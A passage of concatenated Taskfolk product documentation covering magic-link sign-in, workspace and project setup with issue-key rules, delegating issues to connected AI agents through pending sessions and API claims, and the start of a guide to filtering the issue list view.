This is why there is no separate sign-up form. Signing in and signing up are the same action. ## What the 'Check your inbox' screen actually means After you submit, the page flips to a confirmation state. It reads "Check your inbox." with the line "We sent you a link. Click it within 15 minutes to sign in." It shows "Sent to" and your email so you can confirm you did not fat-finger it, plus two buttons: "Send another link" and "Use a different email." Read that 15-minute window literally. The link is single-use and it expires 15 minutes after it is minted. Get distracted, come back an hour later, and the link is dead. Clicking it will not sign you in. That is not a bug. It is the point. Hit "Send another link" and a fresh one arrives. The old one is now worthless even if someone found it. A subtle thing that saves confusion: some email clients pre-fetch links to build previews. That HEAD request does not spend your token. The server answers a preview probe with a 204 and leaves the token unused, so your link still works when you actually click it. Without this, corporate mail scanners would quietly burn every magic link before you touched it. Now rate limiting, honestly. You can request 5 links per 5 minutes per email-plus-IP, with a stricter ceiling of 10 per hour per email. Mash "Send another link" too many times and the request gets throttled. Here is the part that matters: a throttled request shows you the exact same "Check your inbox" screen, with a rate-limited hint, not an angry error. It never looks broken. It just stops sending. If links suddenly stop arriving after several tries, that is what happened. Wait a few minutes. When you finally click a valid link, it hits `/sign-in/[token]`, consumes the token, and sets your session cookie. That cookie is `tf_sess`, it is HMAC-signed, and it lasts 30 days. It is not a database-backed session. The signature is the proof, which is why sign-in feels instant. The whole exchange, end to end: ```mermaid sequenceDiagram participant B as Your browser participant S as Taskfolk participant M as Your inbox B->>S: POST /api/auth/request with your email S->>S: Mint token, store only its SHA 256 hash S->>M: Email the link (15 minute TTL) S-->>B: Same ok response every time M->>B: You click the link B->>S: GET /sign-in/[token] S->>S: Consume token, set signed tf_sess cookie S-->>B: Redirect to /onboarding or /me ``` Then it redirects you. A brand-new user with zero workspaces lands on `/onboarding`. An existing user lands on `/me`, which forwards to their most recent workspace. If a link had a specific `next` destination baked in, that wins. For your first time, you are heading to onboarding. ## Create your first workspace and choose a slug You have arrived at `/onboarding`. The heading says "Name your team," with a quiet "Step 1 of 1" marker. That marker is a promise: this is the only setup screen. There is no five-page wizard behind it. Two fields. First, "Team name." If Taskfolk picked up a first name from your email, this pre-fills as something like "Sam's team" so you are not staring at a blank box. Change it to whatever your workspace is actually called. "Acme HQ", your company name, your side project's name. Second, "Web address." This is your workspace slug, shown after a fixed `/w/` prefix so you can see the real URL you are about to own: `/w/acme`. The slug auto-derives from the team name as you type, right up until you edit it yourself, at which point it stops following the name and stays where you put it. As you type the slug, watch the line underneath. It says "Checking availability…" for a beat, then resolves to "/w/your-slug is available" in green or "/w/your-slug is already taken" in pink, plus reserved and invalid states when they apply. That is a debounced call running live, so you know before you submit whether your address is free: ```http GET /api/workspaces/check-slug?slug=acme ``` ```json { "ok": true, "available": true } ``` The real slug rules, so you do not fight the validator: - 2 to 32 characters. - Lowercase letters, digits, and hyphens only. No spaces, no capitals, no underscores. - No leading or trailing hyphen, and no doubled hyphens (so `my--team` is out). - It cannot be a reserved word. Things like `admin`, `api`, `blog`, `settings`, and `www` are held back because they collide with real routes. One more that catches people: a slug stays reserved for a 30-day restore window after a workspace is deleted. So if you try a slug, it reads as taken, and you swear it is free, someone (possibly you, earlier) may have deleted a workspace on that address recently. Pick a different one. When the slug is green, click "Create my team." The button reads "Setting things up…" while it works. Behind that, the `createWorkspace` action creates the workspace, makes you its owner, seeds a `#general` chat channel with a welcome message so the space is not empty, and writes an audit-log row recording that the workspace was born. You now own a real workspace. ## Understand the 14-day Pro trial you just got The moment you created that workspace, something happened worth being clear-eyed about. Taskfolk granted it a 14-day Pro trial. In the data that is `plan = pro`, `planStatus = trialing`, and `trialEndsAt` set to 14 days out. It also stamped a flag on your user record, `pro_trial_used_at`. That flag matters. The trial is granted once per user, and only on your first-ever workspace. Create a second workspace later and it starts on Free, not Pro. Deleting the trial workspace does not reset the flag, so you cannot recycle the trial by deleting and recreating. One trial per person, spent on your first workspace. This is why Taskfolk's own copy says "your first workspace" and not "every new workspace." Saying otherwise would mislead you. Now the part that actually reassures people. There is no card on file. You did not enter payment details, so nothing can auto-charge you when the trial ends. This is not a trial that quietly bills you on day 15. When the 14 days run out, the workspace simply drops to Free. That downgrade happens lazily, the moment someone next reads the workspace's plan through `effectivePlan()`, with a periodic worker sweep catching any that go dormant. No invoice. No "we tried your card." It becomes Free. ```mermaid stateDiagram-v2 [*] --> Trialing: first workspace created Trialing --> Free: 14 days pass, nothing charged Trialing --> Paid: you choose to upgrade Free --> Paid: you upgrade later ``` So what is Free? Concretely: 128 MB of storage, up to 5 active projects, and a small monthly AI grant. Here is the honest framing most tools blur. On Taskfolk, capacity separates the tiers, not core features. Sprints, timeline, reporting, and integrations are all available on Free. What is reserved for paid plans is the enterprise-flavored stuff: automation rules, custom roles, SSO, and the audit log. ![Taskfolk billing page showing the current plan card, which is where the Pro trial and the eventual Free downgrade are visible.](/images/blog/how-to-manage-billing-and-plans-billing-plan-hero.webp) So the trial is not a two-week tease of features you will lose. It is more storage, more projects, and more AI headroom for two weeks. If you want the full picture of what each tier includes and how billing works once you decide to pay, [how to manage billing and plans](/docs/how-to-manage-billing-and-plans) covers it. ## Invite your team now or skip it Right after the workspace is created, a modal appears. "Workspace created" at the top, "Invite your team" below, with a field to add teammates by email and a "Skip for now" button. You are not trapped here. My advice: invite now if the people you work with are known and ready. Getting them in early means your first project has real assignees instead of a ghost town. Skip if you are still exploring, or if you want to shape a project or two before anyone else sees the space. Skipping costs you nothing. ![Taskfolk workspace people page listing members with their roles, where invited teammates appear once they accept.](/images/blog/how-to-invite-team-members-people-overview.webp) The same invite step also appears right after you create a project, and you can invite anyone later from the workspace. For the full flow, including roles and what invitees see, read [how to invite team members](/docs/how-to-invite-team-members). ## Create your first project and pick a permanent issue key Whether you invited people or skipped, you land in your workspace. Now for the second real object you will create: a project. Head to your projects list at `/w/[workspace]/projects`. A fresh workspace shows "Set up your first project" and a "+ Create your first project" button. Otherwise there is a "+ New project" button in the corner. Either way lands you on `/projects/new`. The new-project form has a few parts, and the first is a choice. "Start from a template," with five options: Blank project, Software / Kanban, Bug tracker, Sprint / Scrum, and Marketing / Content. Let me be straight about what a template actually does, because it is easy to over-imagine. A template pre-seeds the project: board columns, a starter set of labels, and a few sample issues so the board is not blank. That is it. It is best-effort and it never blocks project creation, so if something in the template seeding hiccups, you still get your project. Blank keeps the 7 default board columns and nothing else. If you are not sure, Software / Kanban is a sensible default for most teams. Then the text fields: - "Project name", say "Web app". - "URL slug", which auto-derives from the name (`web`) just like the workspace slug did. - "Issue key", auto-suggested from the name, which is the field that deserves the most thought. - An optional "Description", plus "Start date" and "End date" pickers if you want the project to carry a timeline from day one. All optional. Both the slug and the key get live availability checks against `/api/projects/check`, and the "Create project" button stays disabled while a value is still being checked or is already taken, so you cannot submit a colliding project. When everything is green, click "Create project" (it reads "Creating…") and, after the optional invite step, you land directly on your new project's board. ![A freshly created Taskfolk project board with its columns and cards, which is where you land right after creating your first project.](/images/blog/how-to-use-a-kanban-board-overview.webp) Here is the concrete picture of what you just made. Say you named the project "Web app" with the key WEB and picked Software / Kanban. Your board opens with columns like Backlog, To Do, In Progress, In Review, and Done. The template's sample issues sit in those columns, and a real ticket you add next, something like "Timeline + Summary tab", becomes WEB-12. That number just keeps counting up per project. That is the whole model: a project holds issues, each issue wears the project's key. ## The real issue key rules (and why the key is forever) The issue key gets its own section because the UI undersells the rules, and because you genuinely cannot change your mind later. The hint on the field says "Permanent. 2-6 uppercase letters." That is not wrong, but it is narrower than what the code accepts. The real rule is this pattern: ```javascript // src/lib/projects/keys.ts export const KEY_PATTERN = /^[A-Z][A-Z0-9]{1,5}$/; // Valid: WEB, WEB2, PF1, MKT // Invalid: 2WEB (starts with a digit), W (too short), MY-APP (hyphen) ``` It must start with a letter, run 2 to 6 characters total, and after that first letter it can hold uppercase letters or digits, with no hyphens. The digit-friendly version helps when you have several related projects (WEB, WEB2) or a short brand code with a number in it. Now the word "permanent," which is the part to take seriously. The key is baked into every issue's identity. Every ticket is `KEY-NUMBER`, forever: WEB-1, WEB-12, WEB-347. That string ends up in URLs, in comments where people write `#WEB-12` to reference a ticket, in commit messages, in bookmarks, in the muscle memory of everyone on the team. You do not get to rename it later. And even after a project is archived, its key is never reusable, so you cannot free up "WEB" by archiving the old WEB project and starting fresh. Choose a key you will not regret. Short, obvious, tied to the project's real name, stable enough that it still makes sense in a year. If the project is "Marketing site," MKT or WEB beats a clever inside joke you will have to explain to every new hire. Type it once, live with it always. Once the board is open with your key in place, the natural next steps are [how to create an issue](/docs/how-to-create-an-issue) to start filling those columns and [how to use a kanban board](/docs/how-to-use-a-kanban-board) to actually run work across them. ## Where new projects live and how to add more Your projects all live at `/w/[workspace]/projects`. That is home base. The "+ New project" button is always there, and when the list is empty you get the friendlier "Set up your first project" prompt with "+ Create your first project." Nothing hidden. One page, one button. One number to keep in mind on Free: you can have 5 active projects. Try to create a sixth active project and the form does not throw a red field error at you. It shows an upgrade prompt, "Add more projects with a paid plan." A nudge, not a broken form. If you see it, nothing is wrong. You have reached the Free ceiling. There is a useful escape hatch. Archiving a project frees up an active slot, so a team that runs projects in seasons (spin one up, finish it, archive it) can stay under 5 active without ever paying. Just remember the key stays reserved even after archiving. And most small teams should resist the urge to make a project per tiny effort. A project is a body of work with its own board and its own key, not a folder for three tasks. Fewer, well-scoped projects beat a sprawl of near-empty ones, and it keeps you comfortably inside the Free cap. ## Common first-run mistakes and how to avoid them A short punch-list of what actually snags people on day one, all of it straight from how Taskfolk really behaves: - The magic link "stopped working." It expired. Links live 15 minutes and are single-use. Click "Send another link" on the check-your-inbox screen and use the fresh one. The old one staying dead is a feature. - The slug reads as taken but you are sure it is free. Either it is a reserved word (`admin`, `api`, `blog`, `settings`, `www`) or someone deleted a workspace on that slug in the last 30 days and it is still on hold. Pick another. - The onboarding form is gone and you see "Workspace limit reached." You already own 3 unpaid workspaces, which is the cap. Only workspaces you own and have not paid for count. Being a member of someone else's workspace does not count, and paid workspaces do not count. Upgrade one, or delete one you no longer need, and the form comes back. - Worrying the trial will bill you. It will not. There is no card on file. An un-upgraded trial just becomes Free after 14 days. - Picking a throwaway issue key. You cannot change it, ever, and it shows up in every ticket id. Slow down for that one field and pick something you will be happy to type a thousand times. - Hitting "Add more projects with a paid plan" at project number six. That is the Free 5-active-project cap, not an error. Archive a finished project to reclaim a slot, or upgrade. None of these are blockers once you know them, and now you do. The whole path, email to link to workspace to project, really is about five minutes of clicking, most of which is you deciding on a good name and a good key. Ready to start? Open [/login](/login), enter your email, and create your first workspace. --- # How to delegate work to an agent URL: https://taskfolk.ai/docs/how-to-delegate-work-to-an-agent Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, automation, AI agents, how-to Assign a task to an AI agent in Taskfolk using the same assignee picker you use for people, and understand the pending session, claim flow, and real limits. You connected an AI agent to your workspace last week. It has an API key, it can reach your MCP endpoint, it shows up in the member list with an avatar. And it has done nothing, because you never gave it anything to do. There's a bug in your backlog you keep skipping. You want the agent to take it. This is the part where you actually hand over the work. Here's the good news up front: to assign a task to an AI agent in Taskfolk, you do exactly what you already do for a human teammate. Open the issue, open the assignee picker, pick the agent. Done. The mechanics you learned for delegating to people carry over one for one, because in Taskfolk an agent is a real member, not some separate object with its own strange workflow. What turns a plain assignment into a delegation is something that happens quietly in the background the instant you pick that agent. This post walks the whole handoff. The picker, the invisible session that gets created, how the agent picks the work up, where you watch it, how to route work automatically, and the limits nobody prints in the marketing copy. ## What delegating to an AI agent actually means in Taskfolk Before you assign anything, it helps to know what you're assigning to. An agent in Taskfolk is a real workspace member. Underneath, it's a user record flagged `is_agent` with a `workspace_agents` profile attached. It has a name, an avatar, a role. It can be an assignee, a reporter, a mention target. Why does that matter? Because there is no special "delegate to AI" mode, no separate delegation screen, no different button. You assign an issue to an agent the same way you assign one to Sara in design. The plumbing you already know is the plumbing. The one prerequisite: the agent has to be connected first. Connecting means minting its API key and pointing its runtime at Taskfolk's MCP endpoint, which is a different job covered in [how to connect an AI agent](/docs/how-to-connect-an-ai-agent). If you haven't done that, the agent won't show up in the picker, because there's nothing on the other end to do the work. This post assumes you're past that step and have a connected agent sitting in your workspace. So if assignment is just an ordinary assignment, where does "delegation" come from? One thing. The moment you assign an issue to an agent, Taskfolk auto-creates a `pending` session for that agent and that issue. That pending session is the record of the handoff. It's what turns "I put your name on this ticket" into "you have been delegated this task, and the system is now watching for you to pick it up." Everything else here, the states, the badges, the notifications, the auto-cancel, hangs off that one session. Let's walk the lifecycle, starting with the assignment. ## Assign a task to an AI agent from the assignee picker Open a real issue. In the demo WEB project, go to the board and grab something concrete. Say the "Timeline + Summary tab" card sitting in the To Do column. Click into it to open the detail view, then open the assignee picker the way you always do. Here's the part worth slowing down for. The picker is grouped. You'll see a "People" group with your human teammates, and an "Agents" group with your connected agents. Same picker, two groups. Agents render exactly like people, avatar and name, so there's no visual second-class treatment. Pick your agent from the Agents group. The write that happens here is completely ordinary. You're setting the assignee field on an issue. Nothing about the payload says "this is special." What good looks like is boring in the best way: the agent's name and avatar now show on the card and in the issue header, identical to how a person's would. If you can read the assignee, you did it right. Two things fire on that write, and it's worth being precise about which: - The normal `assigned` notification goes out, the same one a human assignee gets. - A push event goes to the agent's own runtime stream, so its process can learn it's been given work. What does NOT fire yet is any agent-session notification. The session that just got created is `pending`, and pending is deliberately quiet. More on that next, because it's the part people misread most. ## What happens the moment you assign: the pending session The instant that assignment lands, a function called `triggerAgentAssigned()` runs and creates a `pending` agent session for that exact (agent, issue) pair. You clicked nothing extra. It's automatic, and it's the thing that makes this delegation rather than a sticky note. The creation is idempotent, which is a fancy way of saying it won't pile up duplicates. Before it creates a pending session, `triggerAgentAssigned` checks whether any open session already exists for that agent and that issue. Open means `pending`, `running`, `needs_input`, or `review`. If one of those is already sitting there, it does nothing. So if you re-assign the same issue to the same agent, or if two write paths happen to fire at once, you still end up with exactly one session. No stacking. The whole handoff, from your click to the first bell, looks like this: ```mermaid sequenceDiagram participant You participant Taskfolk participant Agent as Agent runtime You->>Taskfolk: Assign issue to agent Taskfolk->>Taskfolk: Create pending session Taskfolk-->>Agent: Push event on its stream Agent->>Taskfolk: POST agent sessions with issue key Taskfolk->>Taskfolk: Pending flips to running Agent->>Taskfolk: PATCH session as it works Taskfolk-->>You: Bell on needs input, review, done ``` Now the subtle bit. A pending session does not itself fire an in-app notification. Creating it is silent on the bell. The only notification tied to this assignment was the `assigned` one from the last step. So right after you assign, the state of the world is: the agent has been notified it's assigned, a pending session exists on the record, and yet nothing "has happened" in any visible-activity sense. That's the honest shape of it. The delegation is on the books, waiting. Invisible because there's no activity, no comment, no session notification. Visible because if you open the Bots page or the issue's own activity card, the pending session is right there. Which is exactly where you should look next. ## Watch the delegation on the Bots page Go to the Bots page at `/w/taskfolk/bots/activity`. This is your command center for everything agents are doing across the workspace. The section you want is the Sessions list. ![The Bots page Sessions list with session rows and state badges (Pending, Running, Needs input, In review, Done) plus Status and Last active columns. This is where a fresh delegation appears as Pending and where you watch it flip to Running once the agent claims it.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) If nothing has ever run, you'll see the empty state: "No sessions yet. Assign an issue to an agent, and its work will show up here as it runs." Once you've made your first delegation, that clears and your pending session appears as a row. The list has a Status column and a Last active column, so you can read where each session sits and when it last moved without opening anything. The state badges are the vocabulary you'll live in: | Badge | Who sets it | What it means | |---|---|---| | Pending | The system, on assignment | Delegation waiting for the agent to claim it | | Running | The agent, by claiming | Work is in progress | | Needs input | The agent | It has a question for a human | | In review | The agent | Work is ready for you to check | | Done / Failed | The agent | Terminal, the run ended | | Cancelled | A manager, or the 7-day sweep | Ended without finishing | | Stalled | Nobody, derived at read time | 30 minutes with no activity | This list is where you watch the full arc: assign, pending appears, the agent claims it, pending flips to Running, onward from there. The same list is readable over the API too, if you'd rather script the check: ```bash curl "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions?state=running&limit=20" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` Here's a limit to hold in your head, because it trips people up. An unclaimed pending session does not stay labelled "Pending" for days. After 30 minutes with no activity (that's `SESSION_STALL_MINUTES`), the badge flips to an orange "Stalled." So the realistic sequence on the hub for a delegation nobody picks up is: "Pending" briefly, then "Stalled" for a good long while, and only much later does the 7-day cleanup actually cancel it. If you assign something and come back an hour later to find "Stalled," that's not a bug. That's the system telling you the agent's runtime hasn't reached for the work yet. If that state lingers, [you assigned it to an agent and nothing happened](/blog/assigned-to-an-agent-and-nothing-happened) walks the troubleshooting step by step. ## How the agent claims the task (there is no accept button) Here's the mental model most people arrive with, and it's wrong. They picture a queue where the agent, or they, click an "Accept" button to formally take the task. There is no such button. Nowhere in the hub is there a human-facing claim or accept control. Don't go looking for one. What actually happens: the agent's runtime calls `startAgentSession`. That's a POST to `/api/v1/workspaces/[slug]/agent-sessions`, reachable over both plain REST and MCP, and it passes the issue key it's picking up. Over REST, the claim looks like this (the key is the agent's own key, with the `agents:write` scope): ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "title": "Fix flaky login test", "issue_key": "WEB-12", "note": "Claiming the delegated issue" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Fix flaky login test", issue_key: "WEB-12", note: "Claiming the delegated issue", }), }, ); const { data } = await res.json(); console.log(data.state); // "running" ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "title": "Fix flaky login test", "issue_key": "WEB-12", "note": "Claiming the delegated issue", }, ) print(res.json()["data"]["state"]) # "running" ``` When that call arrives and a `pending` row already exists for that agent and that issue, `startAgentSession` doesn't insert a new row. It finds the existing pending session and flips it to `running`, updating the title, note, and external URL, and bumping `lastActivityAt`. That's the claim. One row, upgraded in place, so you get a single continuous timeline from delegation through to work instead of two disconnected records. The response reflects the upgraded session (trimmed to the interesting fields): ```json { "data": { "id": "0197f3a2-...", "agent_name": "Claude Code", "state": "running", "title": "Fix flaky login test", "issue_key": "WEB-12", "started_at": "2026-07-15T09:12:04.000Z", "last_activity_at": "2026-07-15T09:41:33.000Z", "ended_at": null } } ``` If the agent starts a session for an issue that has no pending row (say it went and picked up work on its own, or it's doing something not tied to an issue at all), then `startAgentSession` just inserts a fresh `running` session directly. Same endpoint, different path depending on whether a delegation was waiting. The thing to internalize: claiming is the agent's runtime doing its job over the API, not you doing anything in the UI. You assign. Its process, whenever it gets around to it, calls the endpoint and the badge turns Running. Your job between "assign" and "Running" is to wait and watch, not to hunt for a second button that doesn't exist. ## Follow the work on the issue's Agent activity card The hub is the workspace-wide view. But most of the time you're looking at one ticket, and you want to know what the agent is doing on that ticket. That lives on the issue itself, in the Agent activity card. Open the WEB issue you assigned and find the Agent activity card in the detail view. It mirrors the same session state you'd see on the hub, scoped to this one issue. Before the agent has started, the card shows its empty state: "Assigned to {agent}. No session yet. The agent will report here when it starts." There's also a "How it works day to day" explainer that spells the flow out in plain terms: "Assign an issue to the agent like any teammate. When it picks the work up it starts a session; you'll see running, needs-input, and review states here and on the ticket." ![An issue detail view with the Agent activity card in the right rail: the agent's session shows a Done badge next to the issue's activity feed and attributed change history.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) Once the agent is working, this card is where the story unfolds. The agent drives its session forward with PATCH calls (that's `updateAgentSession` under the hood), and every PATCH doubles as a heartbeat: it bumps `lastActivityAt` and can move the state along. ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions/ \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"state": "review", "note": "Fix is up as a pull request."}' ``` The path runs `running`, then optionally `needs_input`, then `review`, then one of `done`, `failed`, `cancelled`. A healthy run reads like a short narrative on the ticket. It started, it hit a question, it's ready for review, it's done. ```mermaid stateDiagram-v2 [*] --> pending: assignment pending --> running: agent claims pending --> cancelled: 7 day sweep running --> needs_input: agent asks you needs_input --> running: you answer running --> review: work ready review --> done running --> failed running --> cancelled: mark cancelled done --> [*] failed --> [*] cancelled --> [*] ``` (The diagram shows the common paths. "Mark cancelled" actually works from any open state, not only running.) Some of those transitions are loud. Entering `needs_input`, `review`, `done`, or `failed` fires an in-app notification, and it goes to the agent's owner plus the issue's reporter, assignee, and watchers. Those use the `agent_needs_input` and `agent_done` notification kinds. That's the design intent. You don't have to babysit the card. When the agent needs you or finishes, your bell rings. One scoping detail matters here: these notifications only fire for issue-anchored sessions, ones tied to a specific issue. A free-form session with no issue attached produces no bell. Since delegation always anchors to an issue, delegated work will notify you; ad-hoc agent runs may not. One more display quirk to expect. A running session that goes 30 minutes with no heartbeat also shows the "Stalled" badge, same threshold as the pending case. This is display only. It does not cancel the session and it does not mark it failed. It's a hint that the agent's process has gone quiet, nothing more. If the agent picks back up and sends another PATCH, the badge clears itself. ## Route work to agents automatically with automations Assigning one issue by hand is fine for a one-off. The real value shows up when you stop doing it by hand. Automations let you route work to agents on a rule, and there are two actions worth understanding, because they do very different things. ```mermaid flowchart LR R[Rule fires] --> C{Action} C -->|assign_to an agent| A[Issue assigned plus pending session] C -->|notify_agent| N[Wake event only, nothing changes on the issue] ``` The first is `assign_to`. When an automation's `assign_to` action targets an agent, it fires the exact same `triggerAgentAssigned` that an interactive assignment does. Same pending session, same everything. So a rule like "when a card enters In Progress, assign it to agent Y" is a genuine delegation. The moment the rule fires, a pending session exists and the agent can claim it. This is how you get standing delegation instead of manual handoffs. The second is `notify_agent`, and it's a different tool for a different job. `notify_agent` wakes a connected agent from a rule by publishing an `automation.notify` event to that agent's stream. That's all it does. It does not create a session. It does not assign the issue. It changes nothing on the issue. Use it when you want to poke an agent (maybe it watches for these events and decides for itself what to do) without formally handing it the ticket. It re-validates that the agent is still connected at fire time, and if the agent isn't connected anymore, it fails with "agent not connected" instead of silently doing nothing. To set either up, open the automation rule editor, add an action, and you'll find "Notify agent" with its own "Select agent" picker, or "Assign to" where you can pick an agent as the target. The editor nudges you toward it: "Tip: automations can route work to agents. Add a rule that assigns new bugs to one of yours." Full setup is covered in [how to set up automations](/docs/how-to-set-up-automations). ![The Automations page with the rule list and starter recipes, including assignment recipes built from a WHEN trigger, IF conditions, and THEN actions.](/images/blog/how-to-set-up-automations-list.webp) Now the honest gate, because it's a real one. Automations are a paid feature. They're gated both when you create a rule and again at execution time. So on a free or downgraded workspace, neither an `assign_to`-to-an-agent rule nor `notify_agent` will fire, no matter how the rule is written. If your automated delegation isn't happening, check the plan before you check the rule. Worth knowing for completeness: delegation is wired into every assignment write path, not just the interactive picker. Interactive create and update, bulk assignment, the `assign_to` automation action, and form-routing defaults all call `triggerAgentAssigned` when the assignee is an agent. However you route an issue to an agent, the pending session gets created. ## Ending, cancelling, and the 7-day cleanup Sessions don't all end cleanly on their own, so there's cleanup. Some of it manual, some automatic. Manually, an owner or admin (or the agent's own connector) can end an open session straight from the hub with the "Mark cancelled" action. The permission logic is `canCancel = open state AND mayManage`, which means two conditions: the session has to still be in an open state, and you have to have management rights. A plain member does not get this control. When an owner cancels a session this way, it also emits a push event to the agent's stream, so the agent's runtime knows to stop. ![The Bots page with several sessions in different states, each open session carrying a Mark cancelled action on the right, above the Connected agents table.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Automatically, there's a worker sweep called `expireStalePendingSessions`. It runs about 40 seconds after the worker boots, then every 6 hours after that. Its job is narrow: it auto-cancels any `pending` session older than 7 days (measured from `startedAt`, the creation time) that was never claimed. It sets the state to cancelled and stamps `endedAt`. This is what keeps abandoned delegations from sitting on the hub forever. Two honest qualifiers on that 7-day number. First, it's approximate, not exact. Because the sweep runs on a 6-hour cadence rather than watching each session to the second, a pending session gets cleaned up sometime after 7 days from creation, not precisely at the 168-hour mark. Second, and this is the important one, it only touches sessions still in `pending`. The moment an agent claims a session and it goes to running, this sweep leaves it alone. A claimed session that stalls is never auto-cancelled by this worker. It'll show the Stalled badge, but it stays open until someone marks it cancelled or the agent moves it to a terminal state. ## Common mistakes and limits worth knowing Let me pull the honest limits into one place, because getting these wrong leads to confused expectations. **Pending is system-only.** Agents transition out of pending, never into it. They leave it by claiming (`startAgentSession`), or the worker cancels it. The set of states an agent can PATCH a session into (`PATCHABLE_SESSION_STATES`) deliberately excludes pending. So don't build a mental model, or tell a teammate, that an agent can "set itself to pending." It can't. Pending is a thing the system does to represent a waiting delegation. **There is no accept button.** Worth repeating because it's the single most common wrong assumption. The claim is the agent's runtime calling an API endpoint, not a human clicking "accept" in the hub. If you're waiting for a button to appear so you can approve the handoff, you'll wait forever. **Pending shows as Stalled after 30 minutes, not for 7 days.** The badge on an unclaimed delegation goes Pending, then Stalled (orange) after 30 minutes of no activity, long before the 7-day auto-cancel. Stalled is derived at read time, never stored. **One open session per (agent, issue).** Re-assigning an already-in-flight issue to the same agent will not stack a second session, because `triggerAgentAssigned` skips creation when any open session already exists for that pair. If you expected a fresh session on re-assign, you won't get one. That's on purpose. **Notifications only fire for issue-anchored sessions.** Session-state notifications require the session to have an `issueId`. A free-form session with no issue produces no bell. Delegated work is always anchored, so it notifies; ad-hoc runs may be silent. **Cancelling from the hub is gated.** Only owner, admin, or the agent's owner/connector can Mark cancelled. `mayManage` gates it. A plain member sees the session but can't end it. A couple of things that aren't limits so much as good practice. Connecting the agent is a separate prerequisite from delegating to it; if the agent isn't in your picker, start at [how to connect an AI agent](/docs/how-to-connect-an-ai-agent). And delegation goes a lot better when the first job is scoped tightly and the agent's write permissions are set on purpose. A vague ticket handed to an agent produces vague work, same as with a person. Before you lean on delegation, read [scope an AI agent's first job](/blog/scope-an-ai-agents-first-job) and [how to set agent field permissions](/docs/how-to-set-agent-field-permissions), which is where you decide what the agent is even allowed to touch on an issue. Ready to hand off your first task? Open a WEB issue, drop your connected agent in the assignee picker, and watch the Bots page for the session to go from Pending to Running. --- # How to filter and sort issues URL: https://taskfolk.ai/docs/how-to-filter-and-sort-issues Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: views, how-to, Taskfolk Filter issues by assignee, label, and status in Taskfolk's list view, then sort, group, save a view, and share the exact filtered list as a URL. You have 200 open tickets in project WEB, and standup starts in ten minutes. Someone drops the question in chat: "what's assigned to me that's in progress and high priority?" You could scroll the board and count cards column by column. Or you open the list view and answer it in three clicks. When you filter issues by assignee, label, and status all at once, the URL you land on becomes the answer. Copy it, paste it back in chat, and your teammate sees the exact same list you're looking at. That is what the list view is for. The board shows you flow. The list answers questions. ## When the list view beats the board The board is the right tool when you care about movement. Cards slide from Backlog to To Do to In Progress to In Review to Done, and you can see at a glance where things pile up. But the board is bad at cross-cutting questions. "Show me every high-priority bug across all five columns that nobody has picked up" is not a board question. It's a list question. Open project WEB and switch to the List tab. You get a table of every open issue with a control strip across the top. On the left sit **Views**, **Filter**, **Fields**, and **Group by**. On the right, a live count of what's showing, **Export CSV** and **Import CSV** links, a **Columns** manager, and a density toggle. The table defaults to eight columns (Key, Type, Title, Status, Priority, Assignee, Labels, Updated) sorted by Updated, most recently touched issue on top. That default is deliberate. When you land on the list cold, the freshest activity is at the top, so you see what moved since you last looked. Everything else in this tutorial is about bending that default to answer a specific question. ![Taskfolk list view for project WEB showing the control strip (Views, Filter, Fields, Group by on the left; result count, Export CSV, Import CSV, Columns, and density toggle on the right) above the issue table with Key, Type, Title, Status, Priority, Assignee, Labels, and Updated columns. Establishes the whole surface before any filtering is applied.](/images/blog/how-to-filter-and-sort-issues-overview.webp) Before you touch anything, read what the table is already telling you. A ticket like "Timeline + Summary tab" sitting in In Progress with a High priority chip and your avatar in the Assignee column is exactly the row you're about to isolate from the other 199. ## How to filter issues by assignee, label, and status Here's the core move. To filter issues by assignee, label, and status together, click **Filter**. A facet row opens with the filters that apply to this project: Type, Priority, Status, Label, Assignee, and Due. Each one is its own popover. ![How to filter and sort issues - filter row](/images/blog/how-to-filter-and-sort-issues-filter-row.webp) Take the three that matter most first, because they behave differently and the differences trip people up. **Status** is multi-select. Click it and you get checkboxes for the fixed status categories: Backlog, To Do, In Progress, In Review, Done, and Cancelled. Check as many as you want. Checking In Progress and In Review means "show me anything in either of those," not "anything in both" (an issue can only be in one). That is any-of matching. Hold onto one thing here: this filter works on the fixed status *category*, not on your project's custom board column names. Why that matters comes up in the grouping section. **Label** is also multi-select, any-of. Check "frontend" and "regression" and you see issues carrying either label. One catch: the Label facet only appears if the project actually has labels. A brand-new project with none won't show it. That is not a bug, there is simply nothing to filter by yet. **Assignee** is different. It is single-select, because "assigned to two specific people at once" is not a common question and the UI keeps it simple. Your options are Anyone (the default, no filter), Assigned to me, Unassigned, or a specific team member. The member list shows avatars, and your own name is marked with "(You)" so you don't have to hunt for yourself. Now stack them. For "in progress, carrying the frontend label, assigned to me," you check In Progress under Status, check frontend under Label, and pick Assigned to me under Assignee. The rule for how these combine: filters are ANDed *across* facets and ORed *within* a facet. So (In Progress) AND (frontend) AND (me). Two labels checked would be (frontend OR regression) AND the rest. Use it twice and it becomes second nature. The remaining facets follow the same pattern: - **Type** filters by Epic, Story, Task, Bug, or Subtask (multi-select). - **Priority** runs Critical, Highest, High, Medium, Low, Lowest (multi-select). - **Due** is a single-select quick filter with Any due date, Overdue, Due this week, and No due date, which is the fastest way to find what's slipping. ## Reading the filtered result and the shareable URL Apply a filter and two things change in the control strip. The **Filter** button grows a small yellow badge counting how many filters are active, so you always know you're looking at a subset and not the whole project. And a **Clear** button appears next to it. The more useful change is in the address bar. Every filter you set is written into the URL query string. Filter to In 